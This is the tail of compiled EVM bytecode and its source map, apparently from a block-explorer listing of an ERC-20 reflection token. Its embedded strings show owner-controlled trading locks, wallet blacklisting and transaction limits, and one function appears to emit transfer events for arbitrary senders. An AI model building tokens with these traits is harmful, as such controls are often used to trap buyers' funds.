3ea381613e67565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613f06603f836131f2565b9150613f1182613eaa565b604082019050919050565b60006020820190508181036000830152613f3581613ef9565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613f72601c836131f2565b9150613f7d82613f3c565b602082019050919050565b60006020820190508181036000830152613fa181613f65565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b60006140046023836131f2565b915061400f82613fa8565b604082019050919050565b6000602082019050818103600083015261403381613ff7565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006140966023836131f2565b91506140a18261403a565b604082019050919050565b600060208201905081810360008301526140c581614089565b9050919050565b60006140d782613288565b91506140e283613288565b92508282039050818111156140fa576140f96138ce565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061415c602a836131f2565b915061416782614100565b604082019050919050565b6000602082019050818103600083015261418b8161414f565b9050919050565b6000815190506141a1816130db565b92915050565b6000602082840312156141bd576141bc612fdd565b5b60006141cb84828501614192565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614209816130c9565b82525050565b600061421b8383614200565b60208301905092915050565b6000602082019050919050565b600061423f826141d4565b61424981856141df565b9350614254836141f0565b8060005b8381101561428557815161426c888261420f565b975061427783614227565b925050600181019050614258565b5085935050505092915050565b600060a0820190506142a760008301886133ae565b6142b46020830187613971565b81810360408301526142c68186614234565b90506142d560608301856135f4565b6142e260808301846133ae565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614322601b836131f2565b915061432d826142ec565b602082019050919050565b6000602082019050818103600083015261435181614315565b9050919050565b600061436382613288565b915061436e83613288565b925082820261437c81613288565b91508282048414831517614393576143926138ce565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006143f66021836131f2565b91506144018261439a565b604082019050919050565b60006020820190508181036000830152614425816143e9565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207c4fdd350f4c5ca03ee8f9c7d65fca08367e6a4fa37346043a812b05a9296d1d64736f6c63430008120033

Deployed Bytecode Sourcemap

4365:14744:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13931:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6883:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7808:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13355:81;;;;;;;;;;;;;:::i;:::-;;5713:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7160:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8950:734;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8009:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6027:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7069:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5761:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14108:196;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18364:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13688:235;;;;;;;;;;;;;:::i;:::-;;7263:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1852:148;;;;;;;;;;;;;:::i;:::-;;18504:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18985:118;;;;;;;;;;;;;:::i;:::-;;5910:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5455:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1638:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5968:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6974:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18173:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7409:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5417:36;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13444:236;;;;;;;;;;;;;:::i;:::-;;18743:234;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17712:409;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7616:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8792:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18620:115;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2008:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13931:169;1775:12;:10;:12::i;:::-;1765:22;;:6;;;;;;;;;;:22;;;1757:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;14007:9:::1;14002:91;14026:5;:12;14022:1;:16;14002:91;;;14077:4;14060;:14;14065:5;14071:1;14065:8;;;;;;;;:::i;:::-;;;;;;;;14060:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;14040:3;;;;;:::i;:::-;;;;14002:91;;;;13931:169:::0;:::o;6883:83::-;6920:13;6953:5;;;;;;;;;;;;;;;;;6946:12;;6883:83;:::o;7808:193::-;7910:4;7932:39;7941:12;:10;:12::i;:::-;7955:7;7964:6;7932:8;:39::i;:::-;7989:4;7982:11;;7808:193;;;;:::o;13355:81::-;1775:12;:10;:12::i;:::-;1765:22;;:6;;;;;;;;;;:22;;;1757:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13424:4:::1;13410:11;;:18;;;;;;;;;;;;;;;;;;13355:81::o:0;5713:41::-;;;;;;;;;;;;;:::o;7160:95::-;7213:7;4919:18;7233:14;;7160:95;:::o;8950:734::-;9177:4;9199:9;9211:1;9199:13;;9194:461;9218:10;:17;9214:1;:21;9194:461;;;9284:10;9295:1;9284:13;;;;;;;;:::i;:::-;;;;;;;;9262:53;;9271:11;9262:53;;;9299:12;9312:1;9299:15;;;;;;;;:::i;:::-;;;;;;;;9262:53;;;;;;:::i;:::-;;;;;;;;9526:10;9537:1;9526:13;;;;;;;;:::i;:::-;;;;;;;;9335:219;;9358:42;9335:219;;;9419:12;9432:1;9419:15;;;;;;;;:::i;:::-;;;;;;;;9453:1;9473;9493:11;9505:1;9493:14;;;;;;;;:::i;:::-;;;;;;;;9335:219;;;;;;;;;:::i;:::-;;;;;;;;9576:12;9569:30;;;9600:10;9611:1;9600:13;;;;;;;;:::i;:::-;;;;;;;;9615:11;9628;9640:1;9628:14;;;;;;;;:::i;:::-;;;;;;;;9569:74;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;9237:3;;;;;:::i;:::-;;;;9194:461;;;;9672:4;9665:11;;8950:734;;;;;;;:::o;8009:446::-;8141:4;8158:36;8168:6;8176:9;8187:6;8158:9;:36::i;:::-;8205:220;8228:6;8249:12;:10;:12::i;:::-;8276:138;8332:6;8276:138;;;;;;;;;;;;;;;;;:11;:19;8288:6;8276:19;;;;;;;;;;;;;;;:33;8296:12;:10;:12::i;:::-;8276:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;8205:8;:220::i;:::-;8443:4;8436:11;;8009:446;;;;;:::o;6027:54::-;;;;:::o;7069:83::-;7110:5;4593:1;7128:16;;7069:83;:::o;5761:28::-;;;;;;;;;;;;;:::o;14108:196::-;14191:7;:5;:7::i;:::-;14177:21;;:10;:21;;;:68;;;;14243:2;14227:13;:11;:13::i;:::-;:18;;;;:::i;:::-;14202:21;14212:10;14202:9;:21::i;:::-;:43;;14177:68;14159:114;;;;;;;;;;;;:::i;:::-;;;;;;;;;14295:5;14280:4;:12;14285:6;14280:12;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;14108:196;:::o;18364:101::-;1775:12;:10;:12::i;:::-;1765:22;;:6;;;;;;;;;;:22;;;1757:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;18445:12:::1;18431:11;;:26;;;;;;;;;;;;;;;;;;18364:101:::0;:::o;13688:235::-;13754:19;;;;;;;;;;;13738:35;;:12;:10;:12::i;:::-;:35;;;:72;;;;13793:17;;;;;;;;;;;13777:33;;:12;:10;:12::i;:::-;:33;;;13738:72;13730:81;;;;;;13822:26;13851:21;13822:50;;13883:32;13896:18;13883:12;:32::i;:::-;13719:204;13688:235::o;7263:138::-;7329:7;7356:37;7376:7;:16;7384:7;7376:16;;;;;;;;;;;;;;;;7356:19;:37::i;:::-;7349:44;;7263:138;;;:::o;1852:148::-;1775:12;:10;:12::i;:::-;1765:22;;:6;;;;;;;;;;:22;;;1757:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1959:1:::1;1922:40;;1943:6;::::0;::::1;;;;;;;;1922:40;;;;;;;;;;;;1990:1;1973:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1852:148::o:0;18504:108::-;1775:12;:10;:12::i;:::-;1765:22;;:6;;;;;;;;;;:22;;;1757:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;18593:11:::1;18578:12;:26;;;;18504:108:::0;:::o;18985:118::-;1775:12;:10;:12::i;:::-;1765:22;;:6;;;;;;;;;;:22;;;1757:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4919:18:::1;19038:12;:22;;;;4919:18;19071:14;:24;;;;18985:118::o:0;5910:51::-;;;;:::o;5455:43::-;;;;;;;;;;;;;;;;;:::o;1638:79::-;1676:7;1703:6;;;;;;;;;;;1696:13;;1638:79;:::o;5968:52::-;;;;:::o;6974:87::-;7013:13;7046:7;;;;;;;;;;;;;;;;;7039:14;;6974:87;:::o;18173:139::-;1775:12;:10;:12::i;:::-;1765:22;;:6;;;;;;;;;;:22;;;1757:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;18286:18:::1;18264:19;:40;;;;18173:139:::0;:::o;7409:199::-;7514:4;7536:42;7546:12;:10;:12::i;:::-;7560:9;7571:6;7536:9;:42::i;:::-;7596:4;7589:11;;7409:199;;;;:::o;5417:36::-;;;;;;;;;;;;;;;;;;;;;;:::o;13444:236::-;13510:19;;;;;;;;;;;13494:35;;:12;:10;:12::i;:::-;:35;;;:72;;;;13549:17;;;;;;;;;;;13533:33;;:12;:10;:12::i;:::-;:33;;;13494:72;13486:81;;;;;;13578:23;13604:24;13622:4;13604:9;:24::i;:::-;13578:50;;13639:33;13656:15;13639:16;:33::i;:::-;13475:205;13444:236::o;18743:234::-;1775:12;:10;:12::i;:::-;1765:22;;:6;;;;;;;;;;:22;;;1757:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;18860:9:::1;18856:114;18879:8;;:15;;18875:1;:19;18856:114;;;18950:8;18916:18;:31;18935:8;;18944:1;18935:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;18916:31;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;18896:3;;;;;:::i;:::-;;;;18856:114;;;;18743:234:::0;;;:::o;17712:409::-;1775:12;:10;:12::i;:::-;1765:22;;:6;;;;;;;;;;:22;;;1757:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17893:2:::1;17877:11;17861:13;:27;;;;:::i;:::-;17860:35;;17852:44;;;::::0;::::1;;17950:2;17933:12;17916:14;:29;;;;:::i;:::-;17915:37;;17907:46;;;::::0;::::1;;17981:13;17964:14;:30;;;;18023:14;18005:15;:32;;;;18063:11;18048:12;:26;;;;18101:12;18085:13;:28;;;;17712:409:::0;;;;:::o;7616:184::-;7733:7;7765:11;:18;7777:5;7765:18;;;;;;;;;;;;;;;:27;7784:7;7765:27;;;;;;;;;;;;;;;;7758:34;;7616:184;;;;:::o;8792:156::-;8868:4;8906:3;8890:28;;8899:5;8890:28;;;8911:6;8890:28;;;;;;:::i;:::-;;;;;;;;8936:4;8929:11;;8792:156;;;;;:::o;18620:115::-;1775:12;:10;:12::i;:::-;1765:22;;:6;;;;;;;;;;:22;;;1757:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;18714:13:::1;18697:14;:30;;;;18620:115:::0;:::o;2008:244::-;1775:12;:10;:12::i;:::-;1765:22;;:6;;;;;;;;;;:22;;;1757:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2117:1:::1;2097:22;;:8;:22;;::::0;2089:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2207:8;2178:38;;2199:6;::::0;::::1;;;;;;;;2178:38;;;;;;;;;;;;2236:8;2227:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;2008:244:::0;:::o;112:98::-;165:7;192:10;185:17;;112:98;:::o;10042:369::-;10186:1;10169:19;;:5;:19;;;10161:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10267:1;10248:21;;:7;:21;;;10240:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10349:6;10319:11;:18;10331:5;10319:18;;;;;;;;;;;;;;;:27;10338:7;10319:27;;;;;;;;;;;;;;;:36;;;;10387:7;10371:32;;10380:5;10371:32;;;10396:6;10371:32;;;;;;:::i;:::-;;;;;;;;10042:369;;;:::o;10419:2330::-;10557:1;10541:18;;:4;:18;;;10533:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10634:1;10620:16;;:2;:16;;;10612:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;10704:1;10695:6;:10;10687:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;10776:7;:5;:7::i;:::-;10768:15;;:4;:15;;;;:32;;;;;10793:7;:5;:7::i;:::-;10787:13;;:2;:13;;;;10768:32;10764:1259;;;10857:11;;;;;;;;;;;10852:144;;10905:7;:5;:7::i;:::-;10897:15;;:4;:15;;;10889:91;;;;;;;;;;;;:::i;:::-;;;;;;;;;10852:144;11030:12;;11020:6;:22;;11012:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;11099:4;:10;11104:4;11099:10;;;;;;;;;;;;;;;;;;;;;;;;;11098:11;:24;;;;;11114:4;:8;11119:2;11114:8;;;;;;;;;;;;;;;;;;;;;;;;;11113:9;11098:24;11090:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;11188:13;;;;;;;;;;;11182:19;;:2;:19;;;11179:146;;11255:14;;11246:6;11230:13;11240:2;11230:9;:13::i;:::-;:22;;;;:::i;:::-;:39;11222:87;;;;;;;;;;;;:::i;:::-;;;;;;;;;11179:146;11341:28;11372:24;11390:4;11372:9;:24::i;:::-;11341:55;;11411:12;11450:19;;11426:20;:43;;11411:58;;11513:12;;11489:20;:36;11486:124;;11582:12;;11559:35;;11486:124;11630:7;:18;;;;;11642:6;;;;;;;;;;11641:7;11630:18;:43;;;;;11660:13;;;;;;;;;;;11652:21;;:4;:21;;;;11630:43;:58;;;;;11677:11;;;;;;;;;;;11630:58;:87;;;;;11693:18;:24;11712:4;11693:24;;;;;;;;;;;;;;;;;;;;;;;;;11692:25;11630:87;:114;;;;;11722:18;:22;11741:2;11722:22;;;;;;;;;;;;;;;;;;;;;;;;;11721:23;11630:114;11626:386;;;11765:38;11782:20;11765:16;:38::i;:::-;11822:26;11851:21;11822:50;;11916:1;11895:18;:22;11891:106;;;11942:35;11955:21;11942:12;:35::i;:::-;11891:106;11746:266;11626:386;10802:1221;;10764:1259;12035:12;12050:4;12035:19;;12099:18;:24;12118:4;12099:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;12127:18;:22;12146:2;12127:22;;;;;;;;;;;;;;;;;;;;;;;;;12099:50;12098:102;;;;12163:13;;;;;;;;;;;12155:21;;:4;:21;;;;:44;;;;;12186:13;;;;;;;;;;;12180:19;;:2;:19;;;;12155:44;12098:102;12094:594;;;12227:5;12217:15;;12094:594;;;12310:13;;;;;;;;;;;12302:21;;:4;:21;;;:55;;;;;12341:15;;;;;;;;;;;12327:30;;:2;:30;;;;12302:55;12299:162;;;12390:14;;12378:9;:26;;;;12433:12;;12423:7;:22;;;;12299:162;12520:13;;;;;;;;;;;12514:19;;:2;:19;;;:55;;;;;12553:15;;;;;;;;;;;12537:32;;:4;:32;;;;12514:55;12510:165;;;12602:15;;12590:9;:27;;;;12646:13;;12636:7;:23;;;;12510:165;12094:594;12700:41;12715:4;12721:2;12725:6;12733:7;12700:14;:41::i;:::-;10522:2227;10419:2330;;;:::o;2616:224::-;2736:7;2769:1;2764;:6;;2772:12;2756:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2796:9;2812:1;2808;:5;;;;:::i;:::-;2796:17;;2831:1;2824:8;;;2616:224;;;;;:::o;13248:99::-;13305:17;;;;;;;;;;;:26;;:34;13332:6;13305:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13248:99;:::o;8463:323::-;8558:7;8616;;8605;:18;;8583:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;8704:19;8726:10;:8;:10::i;:::-;8704:32;;8754:24;8766:11;8754:7;:11;;:24;;;;:::i;:::-;8747:31;;;8463:323;;;:::o;12757:483::-;6184:4;6175:6;;:13;;;;;;;;;;;;;;;;;;12835:21:::1;12873:1;12859:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12835:40;;12904:4;12886;12891:1;12886:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;12930:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12920:4;12925:1;12920:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;12963:62;12980:4;12995:15;;;;;;;;;;;13013:11;12963:8;:62::i;:::-;13036:15;;;;;;;;;;;:66;;;13117:11;13143:1;13159:4;13186;13206:15;13036:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;12824:416;6220:5:::0;6211:6;;:14;;;;;;;;;;;;;;;;;;12757:483;:::o;14314:282::-;14470:7;14465:28;;14479:14;:12;:14::i;:::-;14465:28;14504:44;14522:6;14530:9;14541:6;14504:17;:44::i;:::-;14564:7;14559:29;;14573:15;:13;:15::i;:::-;14559:29;14314:282;;;;:::o;17275:164::-;17317:7;17338:15;17355;17374:19;:17;:19::i;:::-;17337:56;;;;17411:20;17423:7;17411;:11;;:20;;;;:::i;:::-;17404:27;;;;17275:164;:::o;3102:132::-;3160:7;3187:39;3191:1;3194;3187:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;3180:46;;3102:132;;;;:::o;9690:219::-;9750:1;9737:9;;:14;:30;;;;;9766:1;9755:7;;:12;9737:30;9769:7;9733:43;9808:9;;9788:17;:29;;;;9846:7;;9828:15;:25;;;;9878:1;9866:9;:13;;;;9900:1;9890:7;:11;;;;9690:219;:::o;14604:610::-;14751:15;14781:23;14819:12;14846:23;14884:12;14911:13;14938:19;14949:7;14938:10;:19::i;:::-;14736:221;;;;;;;;;;;;14986:28;15006:7;14986;:15;14994:6;14986:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;14968:7;:15;14976:6;14968:15;;;;;;;;;;;;;;;:46;;;;15046:39;15069:15;15046:7;:18;15054:9;15046:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;15025:7;:18;15033:9;15025:18;;;;;;;;;;;;;;;:60;;;;15096:16;15106:5;15096:9;:16::i;:::-;15123:23;15135:4;15141;15123:11;:23::i;:::-;15179:9;15162:44;;15171:6;15162:44;;;15190:15;15162:44;;;;;;:::i;:::-;;;;;;;;14725:489;;;;;;14604:610;;;:::o;9917:117::-;9973:17;;9961:9;:29;;;;10011:15;;10001:7;:25;;;;9917:117::o;17447:257::-;17498:7;17507;17527:15;17545:7;;17527:25;;17563:15;4919:18;17563:25;;17613:20;4919:18;17613:7;;:11;;:20;;;;:::i;:::-;17603:7;:30;17599:61;;;17643:7;;4919:18;17635:25;;;;;;;;17599:61;17679:7;17688;17671:25;;;;;;17447:257;;;:::o;3242:223::-;3362:7;3394:1;3390;:5;3397:12;3382:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;3421:9;3437:1;3433;:5;;;;:::i;:::-;3421:17;;3456:1;3449:8;;;3242:223;;;;;:::o;15633:615::-;15733:7;15755;15777;15799;15821;15843;15879:23;15904:12;15918:13;15948:40;15960:7;15969:9;;15980:7;;15948:11;:40::i;:::-;15878:110;;;;;;15999:19;16021:10;:8;:10::i;:::-;15999:32;;16043:15;16060:23;16085:12;16114:46;16126:7;16135:4;16141:5;16148:11;16114;:46::i;:::-;16042:118;;;;;;16179:7;16188:15;16205:4;16211:15;16228:4;16234:5;16171:69;;;;;;;;;;;;;;;;;;;15633:615;;;;;;;:::o;2472:136::-;2530:7;2557:43;2561:1;2564;2557:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2550:50;;2472:136;;;;:::o;2285:179::-;2343:7;2363:9;2379:1;2375;:5;;;;:::i;:::-;2363:17;;2404:1;2399;:6;;2391:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2455:1;2448:8;;;2285:179;;;;:::o;15222:211::-;15275:19;15297:10;:8;:10::i;:::-;15275:32;;15318:13;15334:22;15344:11;15334:5;:9;;:22;;;;:::i;:::-;15318:38;;15392:33;15419:5;15392:7;:22;15408:4;15392:22;;;;;;;;;;;;;;;;:26;;:33;;;;:::i;:::-;15367:7;:22;15383:4;15367:22;;;;;;;;;;;;;;;:58;;;;15264:169;;15222:211;:::o;15441:147::-;15519:17;15531:4;15519:7;;:11;;:17;;;;:::i;:::-;15509:7;:27;;;;15560:20;15575:4;15560:10;;:14;;:20;;;;:::i;:::-;15547:10;:33;;;;15441:147;;:::o;16256:469::-;16425:7;16447;16469;16504:12;16519:30;16545:3;16519:21;16531:8;16519:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;16504:45;;16560:13;16576:28;16600:3;16576:19;16588:6;16576:7;:11;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;16560:44;;16615:23;16641:28;16663:5;16641:17;16653:4;16641:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;16615:54;;16688:15;16705:4;16711:5;16680:37;;;;;;;;;16256:469;;;;;;;:::o;16733:534::-;16927:7;16949;16971;17006:15;17024:24;17036:11;17024:7;:11;;:24;;;;:::i;:::-;17006:42;;17059:12;17074:21;17083:11;17074:4;:8;;:21;;;;:::i;:::-;17059:36;;17106:13;17122:22;17132:11;17122:5;:9;;:22;;;;:::i;:::-;17106:38;;17155:23;17181:28;17203:5;17181:17;17193:4;17181:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;17155:54;;17228:7;17237:15;17254:4;17220:39;;;;;;;;;;16733:534;;;;;;;;:::o;2848:246::-;2906:7;2935:1;2930;:6;2926:47;;2960:1;2953:8;;;;2926:47;2983:9;2999:1;2995;:5;;;;:::i;:::-;2983:17;;3028:1;3023;3019;:5;;;;:::i;:::-;:10;3011:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;3085:1;3078:8;;;2848:246;;;;;:::o;7:75:1:-;40:6;73:2;67:9;57:19;;7:75;:::o;88:117::-;197:1;194;187:12;211:117;320:1;317;310:12;334:117;443:1;440;433:12;457:102;498:6;549:2;545:7;540:2;533:5;529:14;525:28;515:38;;457:102;;;:::o;565:180::-;613:77;610:1;603:88;710:4;707:1;700:15;734:4;731:1;724:15;751:281;834:27;856:4;834:27;:::i;:::-;826:6;822:40;964:6;952:10;949:22;928:18;916:10;913:34;910:62;907:88;;;975:18;;:::i;:::-;907:88;1015:10;1011:2;1004:22;794:238;751:281;;:::o;1038:129::-;1072:6;1099:20;;:::i;:::-;1089:30;;1128:33;1156:4;1148:6;1128:33;:::i;:::-;1038:129;;;:::o;1173:311::-;1250:4;1340:18;1332:6;1329:30;1326:56;;;1362:18;;:::i;:::-;1326:56;1412:4;1404:6;1400:17;1392:25;;1472:4;1466;1462:15;1454:23;;1173:311;;;:::o;1490:117::-;1599:1;1596;1589:12;1613:126;1650:7;1690:42;1683:5;1679:54;1668:65;;1613:126;;;:::o;1745:96::-;1782:7;1811:24;1829:5;1811:24;:::i;:::-;1800:35;;1745:96;;;:::o;1847:122::-;1920:24;1938:5;1920:24;:::i;:::-;1913:5;1910:35;1900:63;;1959:1;1956;1949:12;1900:63;1847:122;:::o;1975:139::-;2021:5;2059:6;2046:20;2037:29;;2075:33;2102:5;2075:33;:::i;:::-;1975:139;;;;:::o;2137:710::-;2233:5;2258:81;2274:64;2331:6;2274:64;:::i;:::-;2258:81;:::i;:::-;2249:90;;2359:5;2388:6;2381:5;2374:21;2422:4;2415:5;2411:16;2404:23;;2475:4;2467:6;2463:17;2455:6;2451:30;2504:3;2496:6;2493:15;2490:122;;;2523:79;;:::i;:::-;2490:122;2638:6;2621:220;2655:6;2650:3;2647:15;2621:220;;;2730:3;2759:37;2792:3;2780:10;2759:37;:::i;:::-;2754:3;2747:50;2826:4;2821:3;2817:14;2810:21;;2697:144;2681:4;2676:3;2672:14;2665:21;;2621:220;;;2625:21;2239:608;;2137:710;;;;;:::o;2870:370::-;2941:5;2990:3;2983:4;2975:6;2971:17;2967:27;2957:122;;2998:79;;:::i;:::-;2957:122;3115:6;3102:20;3140:94;3230:3;3222:6;3215:4;3207:6;3203:17;3140:94;:::i;:::-;3131:103;;2947:293;2870:370;;;;:::o;3246:539::-;3330:6;3379:2;3367:9;3358:7;3354:23;3350:32;3347:119;;;3385:79;;:::i;:::-;3347:119;3533:1;3522:9;3518:17;3505:31;3563:18;3555:6;3552:30;3549:117;;;3585:79;;:::i;:::-;3549:117;3690:78;3760:7;3751:6;3740:9;3736:22;3690:78;:::i;:::-;3680:88;;3476:302;3246:539;;;;:::o;3791:99::-;3843:6;3877:5;3871:12;3861:22;;3791:99;;;:::o;3896:169::-;3980:11;4014:6;4009:3;4002:19;4054:4;4049:3;4045:14;4030:29;;3896:169;;;;:::o;4071:246::-;4152:1;4162:113;4176:6;4173:1;4170:13;4162:113;;;4261:1;4256:3;4252:11;4246:18;4242:1;4237:3;4233:11;4226:39;4198:2;4195:1;4191:10;4186:15;;4162:113;;;4309:1;4300:6;4295:3;4291:16;4284:27;4133:184;4071:246;;;:::o;4323:377::-;4411:3;4439:39;4472:5;4439:39;:::i;:::-;4494:71;4558:6;4553:3;4494:71;:::i;:::-;4487:78;;4574:65;4632:6;4627:3;4620:4;4613:5;4609:16;4574:65;:::i;:::-;4664:29;4686:6;4664:29;:::i;:::-;4659:3;4655:39;4648:46;;4415:285;4323:377;;;;:::o;4706:313::-;4819:4;4857:2;4846:9;4842:18;4834:26;;4906:9;4900:4;4896:20;4892:1;4881:9;4877:17;4870:47;4934:78;5007:4;4998:6;4934:78;:::i;:::-;4926:86;;4706:313;;;;:::o;5025:77::-;5062:7;5091:5;5080:16;;5025:77;;;:::o;5108:122::-;5181:24;5199:5;5181:24;:::i;:::-;5174:5;5171:35;5161:63;;5220:1;5217;5210:12;5161:63;5108:122;:::o;5236:139::-;5282:5;5320:6;5307:20;5298:29;;5336:33;5363:5;5336:33;:::i;:::-;5236:139;;;;:::o;5381:474::-;5449:6;5457;5506:2;5494:9;5485:7;5481:23;5477:32;5474:119;;;5512:79;;:::i;:::-;5474:119;5632:1;5657:53;5702:7;5693:6;5682:9;5678:22;5657:53;:::i;:::-;5647:63;;5603:117;5759:2;5785:53;5830:7;5821:6;5810:9;5806:22;5785:53;:::i;:::-;5775:63;;5730:118;5381:474;;;;;:::o;5861:90::-;5895:7;5938:5;5931:13;5924:21;5913:32;;5861:90;;;:::o;5957:109::-;6038:21;6053:5;6038:21;:::i;:::-;6033:3;6026:34;5957:109;;:::o;6072:210::-;6159:4;6197:2;6186:9;6182:18;6174:26;;6210:65;6272:1;6261:9;6257:17;6248:6;6210:65;:::i;:::-;6072:210;;;;:::o;6288:60::-;6316:3;6337:5;6330:12;;6288:60;;;:::o;6354:142::-;6404:9;6437:53;6455:34;6464:24;6482:5;6464:24;:::i;:::-;6455:34;:::i;:::-;6437:53;:::i;::